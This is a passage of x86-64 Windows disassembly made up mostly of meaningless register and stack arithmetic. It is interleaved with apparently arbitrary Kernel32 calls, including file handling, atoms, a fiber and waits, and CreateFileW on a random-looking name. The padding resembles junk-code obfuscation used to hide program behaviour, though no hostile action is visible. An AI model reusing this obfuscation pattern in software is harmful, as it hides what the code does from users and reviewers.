mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac30], eax
lea rdx, [rsp + 0x13c00]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xae00], eax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x14ff0], rax
mov eax, dword [0x14035cc4c]
mov ecx, dword [rsp + 0x7dfc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xad3c], eax
lea rax, [rsp + 0xac1c]
mov qword [rsp + 0x14ff8], rax
mov rax, qword [rsp + 0x139c8]
mov ecx, dword [rsp + 0x7e54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x147a0]
mov dword [rcx], eax
mov eax, dword [0x140363d80]
movzx ecx, al
mov eax, dword [rsp + 0xadb8]
shl eax, cl
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov dword [rsp + 0xae04], eax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14298]
mov word [rcx], ax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov byte [0x14035e503], al
mov eax, dword [rsp + 0x6f68]
mov rcx, qword [0x140363c50]
mov qword [rsp + 0x15000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15000]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9e6c], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ed4], eax
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [0x14035cbe8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab1c], eax
mov eax, dword [rsp + 0x924c]
mov dword [rsp + 0xae08], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0xbb]
or eax, ecx
mov rcx, qword [rsp + 0x14f38]
mov byte [rcx], al
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x15008], rax
movsx eax, byte [rsp + 0x6ee]
mov rcx, qword [rsp + 0x14668]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2344]
and eax, ecx
mov rcx, qword [rsp + 0x13b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x13d08]
mov ecx, dword [rsp + 0xa030]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363978]
mov dword [rcx], eax
lea rax, [rsp + 0xa8c0]
mov qword [rsp + 0x15010], rax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [rsp + 0x14968]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a30], ax
mov rax, qword [0x140363bb0]
movzx eax, byte [rax]
mov byte [rsp + 0x710], al
mov rcx, qword [rsp + 0x13298]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14538]
mov rcx, qword [rsp + 0x14f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab3c], eax
mov eax, dword [rsp + 0xa26c]
mov ecx, dword [rsp + 0xaadc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14860]
mov dword [rcx], eax
mov rax, qword [0x140363b38]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x77a0], eax
mov rax, qword [rsp + 0x14ed8]
mov rcx, qword [rsp + 0x14c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d88]
movzx eax, byte [rax]
mov byte [rsp + 0x711], al
lea rax, [0x14035cc04]
mov qword [0x140363e30], rax
mov rax, qword [rsp + 0x13f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13900]
mov qword [rsp + 0x15018], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15018]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7564], eax
mov rax, qword [0x140363c48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13bf8]
mov qword [rsp + 0x15020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15020]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7ea4], eax
mov rax, qword [rsp + 0x13f08]
mov rcx, qword [rsp + 0x14b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8840], eax
lea rdx, [rsp + 0x15028]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8b8], eax
lea rax, [rsp + 0xade0]
mov qword [rsp + 0x15030], rax
mov rax, qword [rsp + 0x143d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2af8]
and eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x28f]
mov byte [rsp + 0x712], al
movzx eax, byte [rsp + 0x282]
mov rcx, qword [0x140363d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x29a0]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14035cbf4], ax
mov rax, qword [rsp + 0x14598]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rax, [0x140363bfc]
mov qword [rsp + 0x15038], rax
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x184c], ax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
movzx ecx, byte [0x140353582]
add eax, ecx
mov byte [rsp + 0x41e], al
mov rax, qword [rsp + 0x13c08]
mov rcx, qword [rsp + 0x140c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13438]
mov rcx, qword [rsp + 0x13640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
lea rax, [rsp + 0xaca8]
mov qword [rsp + 0x15040], rax
mov rax, qword [rsp + 0x13f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x910c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab54], eax
movzx eax, word [rsp + 0x2a00]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14035cbe0], ax
movzx eax, byte [rsp + 0x6c5]
mov byte [rsp + 0x713], al
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0x7a10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov dword [rsp + 0xae0c], eax
mov rax, qword [rsp + 0x14668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13288]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x305], al
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a8c], ax
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x15048], rax
mov rax, qword [0x140363b98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14360]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13f68]
mov word [rcx], ax
mov r9d, 0x24a
xor r8d, r8d
lea rdx, [rsp + 0x13de8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad44], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x13fe0]
mov ecx, dword [rsp + 0x7a10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f74], eax
lea rax, [rsp + 0xa9b4]
mov qword [0x140363e38], rax
mov rax, qword [rsp + 0x13fc0]
mov ecx, dword [rsp + 0x6898]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ba0]
mov rcx, qword [rsp + 0x135c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xabf8], eax
lea rax, [rsp + 0xa96c]
mov qword [rsp + 0x15050], rax
movzx eax, byte [rsp + 0x6f7]
mov rcx, qword [rsp + 0x13788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x700], al
movzx eax, word [rsp + 0x25c8]
mov word [rsp + 0x2c30], ax
mov rax, qword [rsp + 0x13ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8134]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14da0]
mov rcx, qword [rsp + 0x14e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
lea rax, [rsp + 0x6a38]
mov qword [rsp + 0x15058], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.YPhr00TYWxrQTbT0b_nUAbl0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15060], rax
mov eax, dword [rsp + 0x6ba8]
mov ecx, dword [rsp + 0xabb0]
and ecx, eax
mov eax, ecx
mov dword [0x14035cc08], eax
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
mov r9d, 0x1b7a
xor r8d, r8d
lea rdx, [rsp + 0x14f40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab80], eax
lea rax, [rsp + 0x6e7]
mov qword [rsp + 0x15068], rax
mov rax, qword [rsp + 0x13b88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14368]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14b30]
mov word [rcx], ax
mov rax, qword [rsp + 0x14688]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x400]
add eax, ecx
mov byte [rsp + 0x40c], al
lea rax, [rsp + 0xad40]
mov qword [rsp + 0x15070], rax
mov rax, qword [rsp + 0x14888]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c98]
mov qword [rsp + 0x15078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13550]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x15080], rax
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14ae0]
mov word [rcx], ax
lea rax, [rsp + 0x99e8]
mov qword [0x140363e40], rax
lea rax, [0x140363d84]
mov qword [rsp + 0x15088], rax
mov eax, dword [rsp + 0x7124]
mov rcx, qword [rsp + 0x138d0]
mov qword [rsp + 0x15090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xada0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7820], eax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x15098], rax
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1de8]
and eax, ecx
mov word [rsp + 0x16a4], ax
lea rcx, [rsp + 0x41d18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x139f8]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6fec], eax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
lea rcx, str.LAeYSK8JTRj1w4a
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c34], ax
mov eax, dword [rsp + 0xada8]
mov ecx, dword [rsp + 0x7608]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xacb0], eax
mov rax, qword [0x1403639d0]
mov rcx, qword [rsp + 0x13ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363e18]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa96c]
mov dword [rsp + 0xae10], eax
movsx eax, word [rsp + 0x2b90]
mov rcx, qword [rsp + 0x14880]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x400]
mov byte [rsp + 0x714], al
mov rax, qword [rsp + 0x138b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f6]
add eax, ecx
mov byte [rsp + 0x309], al
movzx eax, word [rsp + 0x1de8]
mov rcx, qword [rsp + 0x14b48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ec0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13900]
mov rcx, qword [rsp + 0x13490]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f1c], eax
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0xa8c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86a8], eax
mov rax, qword [rsp + 0x14ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x715], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov word [0x140362f5c], ax
mov rax, qword [rsp + 0x13f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa970]
shr eax, cl
mov dword [rsp + 0x6674], eax
mov eax, dword [rsp + 0xa8bc]
mov ecx, dword [rsp + 0xab34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x73d0], eax
mov eax, dword [rsp + 0xab68]
movzx ecx, al
mov eax, dword [rsp + 0x9d60]
shl eax, cl
mov dword [rsp + 0x8a30], eax
mov rax, qword [rsp + 0x141a0]
mov rcx, qword [rsp + 0x13a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac58], eax
mov rax, qword [rsp + 0x14558]
movzx eax, word [rax]
mov word [rsp + 0x2c38], ax
movzx eax, byte [rsp + 0x6f0]
movzx ecx, byte [rsp + 0x6c4]
and eax, ecx
mov rcx, qword [rsp + 0x14180]
mov byte [rcx], al
lea rax, [rsp + 0xa93c]
mov qword [rsp + 0x150a0], rax
mov rax, qword [rsp + 0x13460]
mov ecx, dword [rsp + 0xa8fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144c0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x14010]
mov rcx, qword [rsp + 0x14d00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa2c], eax
mov rax, qword [rsp + 0x14b30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363a48]
mov word [rcx], ax
lea rcx, [rsp + 0x41e38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x6f1]
mov rcx, qword [rsp + 0x14618]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2888]
mov word [rsp + 0x2c3c], ax
movzx ecx, word [rsp + 0x2a68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x14f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fd]
and eax, ecx
mov byte [rsp + 0x6b4], al
lea rax, [rsp + 0xaab0]
mov qword [rsp + 0x150a8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x23d3
mov r8d, 0x3e2b
mov edx, 0x2a
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa918], eax
mov rax, qword [0x140363d98]
mov ecx, dword [rsp + 0xac60]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14448]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8c0]
mov ecx, dword [rsp + 0x6554]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab70], eax
lea rax, [rsp + 0xa9f8]
mov qword [rsp + 0x150b0], rax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x710c], eax
lea rax, [rsp + 0x6c4]
mov qword [rsp + 0x150b8], rax
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc54], ax
mov rax, qword [rsp + 0x14270]
mov ecx, dword [rsp + 0x7078]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa398]
shl eax, cl
mov dword [rsp + 0xa974], eax
lea rax, [rsp + 0xacd8]
mov qword [rsp + 0x150c0], rax
mov rax, qword [rsp + 0x13c48]
mov rcx, qword [rsp + 0x13bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2e7], al
mov rax, qword [rsp + 0x13f78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14b08]
mov word [rcx], ax
mov rax, qword [rsp + 0x14aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x716], al
mov rax, qword [rsp + 0x13e60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab4]
and eax, ecx
mov rcx, qword [rsp + 0x143d0]
mov word [rcx], ax
lea rax, [0x140363b0c]
mov qword [0x140363e48], rax
mov rax, qword [rsp + 0x14c10]
mov rcx, qword [rsp + 0x136e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x90d0], eax
movzx eax, byte [rsp + 0x53f]
movzx ecx, byte [rsp + 0x715]
sub eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [0x140363c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a44], ax
lea rax, [rsp + 0x9564]
mov qword [rsp + 0x150c8], rax
mov rax, qword [0x140363e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7564]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac1c], eax
mov rax, qword [rsp + 0x15010]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [rsp + 0xae14], eax
mov rax, qword [rsp + 0x148e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f7]
and eax, ecx
mov byte [rsp + 0x6c3], al
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14fb8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140363a88]
mov word [rcx], ax
mov eax, dword [rsp + 0xa0d0]
mov dword [rsp + 0xae18], eax
mov rax, qword [rsp + 0x14d70]
mov rcx, qword [rsp + 0x14338]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad00]
shl eax, cl
mov dword [rsp + 0xa8ec], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x150d0], rax
mov eax, dword [0x14035cc3c]
movzx ecx, al
mov eax, dword [rsp + 0x8380]
sar eax, cl
mov dword [rsp + 0x77a0], eax
lea rcx, [0x140330b4c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0x143b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d0]
xor eax, ecx
mov byte [rsp + 0x5e1], al
mov rax, qword [rsp + 0x14790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a74], ax
mov rax, qword [0x140363df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29f0], ax
movzx eax, byte [rsp + 0x562]
mov rcx, qword [rsp + 0x14018]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1403535a6], al
lea rax, [0x14035cc0c]
mov qword [rsp + 0x150d8], rax
mov rax, qword [rsp + 0x150d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a68]
mov dword [rcx], eax
lea rax, [rsp + 0x29b8]
mov qword [rsp + 0x150e0], rax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e2]
and eax, ecx
mov byte [rsp + 0x6b4], al
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov dword [rsp + 0xae1c], eax
mov rax, qword [rsp + 0x13a10]
mov ecx, dword [rsp + 0xa8d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x138c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f50]
mov rcx, qword [0x140363e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14eb8]
mov dword [rcx], eax
lea rax, [rsp + 0xa9e8]
mov qword [rsp + 0x150e8], rax
movzx eax, byte [rsp + 0x6d7]
mov byte [0x14035e504], al
movzx eax, word [rsp + 0x1308]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14750]
mov word [rcx], ax
mov eax, dword [rsp + 0x7c88]
mov ecx, dword [0x14035cc4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa664], eax
mov rax, qword [rsp + 0x14868]
mov rcx, qword [rsp + 0x14c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14410]
mov dword [rcx], eax
mov rax, qword [0x140363af8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a1c]
or eax, ecx
mov word [rsp + 0x2a10], ax
mov r9d, 1
lea r8, [rsp + 0x144b8]
mov rdx, qword [rsp + 0x14850]
mov rcx, qword [rsp + 0x14c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa74], eax
mov rax, qword [rsp + 0x13eb0]
movzx eax, byte [rax]
mov byte [rsp + 0x717], al
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x708]
xor eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov byte [rcx], al
movzx eax, word [0x14035cc54]
movzx ecx, word [rsp + 0x2b40]
shl eax, cl
mov word [rsp + 0x20d8], ax
lea rcx, [0x140330b58]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c44], ax
mov eax, dword [rsp + 0xabd8]
movzx ecx, al
mov eax, dword [rsp + 0xacb4]
shr eax, cl
mov rcx, qword [rsp + 0x13e70]
mov dword [rcx], eax
mov eax, dword [0x140363de0]
mov ecx, dword [rsp + 0x8638]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363e00]
mov dword [rcx], eax
mov r9d, 0x1603
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x150c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaabc], eax
mov rax, qword [rsp + 0x138c8]
mov eax, dword [rax]
mov dword [rsp + 0xae20], eax
mov eax, dword [0x1403639b8]
mov ecx, dword [rsp + 0xa8d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29a0]
mov word [rsp + 0x2c48], ax
movzx eax, byte [rsp + 0x6ca]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c5], al
mov r9d, 1
lea r8, [rsp + 0x14430]
mov rdx, qword [rsp + 0x150f0]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [0x140363bf0]
mov rcx, qword [rsp + 0x13e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ff0], eax
mov rax, qword [rsp + 0x14278]
mov ecx, dword [rsp + 0x7bf0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x138c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [0x14035cc3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa7c], eax
mov rax, qword [rsp + 0x14ad0]
mov rcx, qword [rsp + 0x150e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cc58], eax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x150f8], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
add eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x141b0]
movzx eax, word [rax]
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0x14990]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2f8]
sub eax, ecx
mov byte [rsp + 0x400], al
mov rax, qword [0x140363ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138f0]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8d2c], eax
movzx eax, word [rsp + 0x2014]
movzx ecx, word [rsp + 0x2b48]
xor eax, ecx
mov rcx, qword [rsp + 0x138c0]
mov word [rcx], ax
lea rax, [rsp + 0x6c4]
mov qword [rsp + 0x15100], rax
lea rax, [rsp + 0x8388]
mov qword [0x140363e50], rax
mov eax, dword [rsp + 0xa8dc]
mov rcx, qword [rsp + 0x14950]
mov qword [rsp + 0x15108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15108]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8fdc]
mov rcx, qword [rsp + 0x14ab0]
mov qword [rsp + 0x15110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15110]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x85c0], eax
mov eax, dword [rsp + 0xab28]
mov dword [rsp + 0xae24], eax
movzx eax, word [rsp + 0x12b8]
movzx ecx, word [rsp + 0x2b34]
or eax, ecx
mov word [rsp + 0x2c2c], ax
lea rax, [0x14035359f]
mov qword [rsp + 0x15118], rax
mov rax, qword [rsp + 0x14900]
